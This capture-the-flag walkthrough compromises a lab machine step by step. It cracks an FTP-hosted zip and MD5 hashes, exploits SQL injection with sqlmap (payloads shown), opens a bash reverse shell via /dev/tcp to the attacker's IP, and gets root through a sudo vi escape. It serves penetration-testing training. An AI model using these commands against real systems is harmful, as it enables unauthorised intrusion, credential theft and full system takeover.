As always: Port scan first (exchange ip with your machines IP address).
sudo nmap -sV ip
Relevant output:
ORT STATE SERVICE VERSION 21/tcp open ftp vsftpd 3.0.3 22/tcp open ssh OpenSSH 8.0p1 Ubuntu 6ubuntu0.1 (Ubuntu Linux; protocol 2.0) 80/tcp open http Apache httpd 2.4.41 ((Ubuntu))
Let's try to login via ftp with default credentials:
ftp ip Name: anonymous Password -> no password, just hit enter!
Success! What can be found here?
ls
Outputs:
-rwxr-xr-x 1 0 0 2533 Apr 13 2021 backup.zip
Let's download that and close the ftp connection:
get backup.zip exit
Now we will use zip2john of the John the Ripper toolbox.
zip2john backup.zip > hashes
Output:
ver 2.0 efh 5455 efh 7875 backup.zip/index.php PKZIP Encr: TS_chk, cmplen=1201, decmplen=2594, crc=3A41AE06 ts=5722 cs=5722 type=8 ver 2.0 efh 5455 efh 7875 backup.zip/style.css PKZIP Encr: TS_chk, cmplen=986, decmplen=3274, crc=1B1CCD6A ts=989A cs=989a type=8 NOTE: It is assumed that all files in each archive have the same password. If that is not the case, the hash may be uncrackable. To avoid this, use option -o to pick a file at a time.
Then we can view the hash by:
cat hashes
Output:
backup.zip:$pkzip$2*1*1*0*8*24*5722*543fb39ed1a919ce7b58641a238e00f4cb3a826cfb1b8f4b225aa15c4ffda8fe72f60a82*2*0*3da*cca*1b1ccd6a*504*43*8*3da*989a*22290dc3505e51d341f31925a7ffefc181ef9f66d8d25e53c82afc7c1598fbc3fff28a17ba9d8cec9a52d66a11ac103f257e14885793fe01e26238915796640e8936073177d3e6e28915f5abf20fb2fb2354cf3b7744be3e7a0a9a798bd40b63dc00c2ceaef81beb5d3c2b94e588c58725a07fe4ef86c990872b652b3dae89b2fff1f127142c95a5c3452b997e3312db40aee19b120b85b90f8a8828a13dd114f3401142d4bb6b4e369e308cc81c26912c3d673dc23a15920764f108ed151ebc3648932f1e8befd9554b9c904f6e6f19cbded8e1cac4e48a5be2b250ddfe42f7261444fbed8f86d207578c61c45fb2f48d7984ef7dcf88ed3885aaa12b943be3682b7df461842e3566700298efad66607052bd59c0e861a7672356729e81dc326ef431c4f3a3cdaf784c15fa7eea73adf02d9272e5c35a5d934b859133082a9f0e74d31243e81b72b45ef3074c0b2a676f409ad5aad7efb32971e68adbbb4d34ed681ad638947f35f43bb33217f71cbb0ec9f876ea75c299800bd36ec81017a4938c86fc7dbe2d412ccf032a3dc98f53e22e066defeb32f00a6f91ce9119da438a327d0e6b990eec23ea820fa24d3ed2dc2a7a56e4b21f8599cc75d00a42f02c653f9168249747832500bfd5828eae19a68b84da170d2a55abeb8430d0d77e6469b89da8e0d49bb24dbfc88f27258be9cf0f7fd531a0e980b6defe1f725e55538128fe52d296b3119b7e4149da3716abac1acd841afcbf79474911196d8596f79862dea26f555c772bbd1d0601814cb0e5939ce6e4452182d23167a287c5a18464581baab1d5f7d5d58d8087b7d0ca8647481e2d4cb6bc2e63aa9bc8c5d4dfc51f9cd2a1ee12a6a44a6e64ac208365180c1fa02bf4f627d5ca5c817cc101ce689afe130e1e6682123635a6e524e2833335f3a44704de5300b8d196df50660bb4dbb7b5cb082ce78d79b4b38e8e738e26798d10502281bfed1a9bb6426bfc47ef62841079d41dbe4fd356f53afc211b04af58fe3978f0cf4b96a7a6fc7ded6e2fba800227b186ee598dbf0c14cbfa557056ca836d69e28262a060a201d005b3f2ce736caed814591e4ccde4e2ab6bdbd647b08e543b4b2a5b23bc17488464b2d0359602a45cc26e30cf166720c43d6b5a1fddcfd380a9c7240ea888638e12a4533cfee2c7040a2f293a888d6dcc0d77bf0a2270f765e5ad8bfcbb7e68762359e335dfd2a9563f1d1d9327eb39e68690a8740fc9748483ba64f1d923edfc2754fc020bbfae77d06e8c94fba2a02612c0787b60f0ee78d21a6305fb97ad04bb562db282c223667af8ad907466b88e7052072d6968acb7258fb8846da057b1448a2a9699ac0e5592e369fd6e87d677a1fe91c0d0155fd237bfd2dc49*$/pkzip$::backup.zip:style.css, index.php:backup.zip
Now we use a word list to brute force the hash from above.
john -wordlist=/usr/share/wordlists/rockyou.txt hashes
Output:
Using default input encoding: UTF-8 Loaded 1 password hash (PKZIP [32/64]) Will run 2 OpenMP threads Press 'q' or Ctrl-C to abort, almost any other key for status 741852963 (backup.zip) 1g 0:00:00:00 DONE (2023-05-26 13:37) 33.33g/s 136533p/s 136533c/s 136533C/s 123456..oooooo Use the "--show" option to display all of the cracked passwords reliably Session completed.
Now we can display the password by:
john --show hashes
Output:
backup.zip:741852963::backup.zip:style.css, index.php:backup.zip
The password is 741852963. Time to unzip.
unzip backup.zip password: 741852963
Output:
inflating: index.php inflating: style.css
Then let's view the content of index.php first:
cat index.php
Relevant output:
if($_POST['username'] === 'admin' && md5($_POST['password']) === "2cb42f8734ea607eefed3b70af13bbd3") { $_SESSION['login'] = "true"; header("Location: dashboard.php"); }
User: "admin", password: "2cb42f8734ea607eefed3b70af13bbd3", though this seems to be a hashed password. We can spot "md5" in the code above, which is a hashing type. Also we can use this command to see possible hash types:
hashid 2cb42f8734ea607eefed3b70af13bbd3
However, this outputs many options. So let's go with MD5.
echo "2cb42f8734ea607eefed3b70af13bbd3" > hash // put the hash into the file hashcat -a 0 -m 0 hash /usr/share/wordlists/rockyou.txt // run hashcat
Relevant output:
2cb42f8734ea607eefed3b70af13bbd3:qwerty789
Since port 80 is open on our machine, let's put the IP address into the browser and use our credentials:
user: admin password: qwerty789
On the page, we can search for things. Maybe an vulnerable database? Let's use the tool sqlmap for SQL Injection! For this we need to provide the URL and the cookie. We will use the tool cookie-editor (https://addons.mozilla.org/en-US/firefox/addon/cookie-editor/).
Cookie-editor, outputs:
Name: PHPSESSID Value: manp9gk1dppkl0hh4780bq8ics
The URL is
http://ip/dashboard.php
So the command for sqlmap is the following (please use your machines IP address instead of "ip", and also your own cookie value). If the tool asks to continue or skip, you can just press enter to run the full test.
sqlmap -u 'http://ip/dashboard.php?search=any+query' --cookie="PHPSESSID=manp9gk1dppkl0hh4780bq8ics"
Relevant output:
[02:07:39] [INFO] heuristic (basic) test shows that GET parameter 'search' might be injectable (possible DBMS: 'PostgreSQL') [02:07:51] [INFO] GET parameter 'search' appears to be 'PostgreSQL AND boolean-based blind - WHERE or HAVING clause (CAST)' injectable [02:07:51] [INFO] GET parameter 'search' is 'PostgreSQL AND error-based - WHERE or HAVING clause' injectable [02:08:01] [INFO] GET parameter 'search' appears to be 'PostgreSQL > 8.1 stacked queries (comment)' injectable [02:08:11] [INFO] GET parameter 'search' appears to be 'PostgreSQL > 8.1 AND time-based blind' injectable sqlmap identified the following injection point(s) with a total of 34 HTTP(s) requests: --- Parameter: search (GET) Type: boolean-based blind Title: PostgreSQL AND boolean-based blind - WHERE or HAVING clause (CAST) Payload: search=any query' AND (SELECT (CASE WHEN (9209=9209) THEN NULL ELSE CAST((CHR(104)||CHR(70)||CHR(65)||CHR(116)) AS NUMERIC) END)) IS NULL-- SqFEType: error-based Title: PostgreSQL AND error-based - WHERE or HAVING clause Payload: search=any query' AND 9583=CAST((CHR(113)||CHR(118)||CHR(113)||CHR(98)||CHR(113))||(SELECT (CASE WHEN (9583=9583) THEN 1 ELSE 0 END))::text||(CHR(113)||CHR(122)||CHR(113)||CHR(98)||CHR(113)) AS NUMERIC)-- AEZl
Type: stacked queries Title: PostgreSQL > 8.1 stacked queries (comment) Payload: search=any query';SELECT PG_SLEEP(5)--
Type: time-based blind Title: PostgreSQL > 8.1 AND time-based blind Payload: search=any query' AND 9330=(SELECT 9330 FROM PG_SLEEP(5))-- OGiG ---
Now we extend the previous command by "--os-shell".
sqlmap -u 'http://ip/dashboard.php?search=any+query' --cookie="PHPSESSID=manp9gk1dppkl0hh4780bq8ics" --os-shell
The terminal now says:
os-shell>
We want to setup a proper reverse shell though, so we open a new terminal window with ncat. First, find out your IP address:
ifconfig tun0 // it is the inet one ncat -lvnp 443 // start ncat, listening on port 443
Output:
Ncat: Version 7.93 ( https://nmap.org/ncat ) Ncat: Listening on :::443 Ncat: Listening on 0.0.0.0:443
Then, within the os-shell window, run the following command (exchange ip with the tun0 inet IP address):
bash -c "bash -i >& /dev/tcp/ip/443 0>&1"
- press enter
In the ncat terminal, you should have received this output:
Ncat: Connection from 10.129.95.174. Ncat: Connection from 10.129.95.174:41668. bash: cannot set terminal process group (1757): Inappropriate ioctl for device bash: no job control in this shell
Run:
whoami
Output:
whoami postgres
Now we got the foothold and will make the shell fully functional:
python3 -c 'import pty;pty.spawn("/bin/bash")' CTRL+Z stty raw -echo fg export TERM=xterm
To get the user flag:
cd ~ cat user.txt
Time for privilege escalation.
cd /var/www/html
In dashboard.php we find:
$conn = pg_connect("host=localhost port=5432 dbname=carsdb user=postgres password=P@s5w0rd!");
Since for some reason the shell sometimes timeouts, we will try to use the open ssh port of the machine now, to get a stable access:
ssh postgres@ip Fingerprint: yes Password: P@s5w0rd!
Logged in! What privileges do we have?
sudo -l
Output:
Matching Defaults entries for postgres on vaccine: env_keep+="LANG LANGUAGE LINGUAS LC_* _XKB_CHARSET", env_keep+="XAPPLRESDIR XFILESEARCHPATH XUSERFILESEARCHPATH", secure_path=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin, mail_badpassUser postgres may run the following commands on vaccine: (ALL) /bin/vi /etc/postgresql/11/main/pg_hba.conf
Now, let's open the vi editor as a superuser (more info: https://gtfobins.github.io/gtfobins/vi/#sudo)
sudo /bin/vi /etc/postgresql/11/main/pg_hba.conf
In the vi window:
press ":" type "set shell=/bin/sh" hit enter press ":" again type "shell" hit enter again type "bash"
Now you have a bash root shell! Get the flag:
cd ~ cat root.txt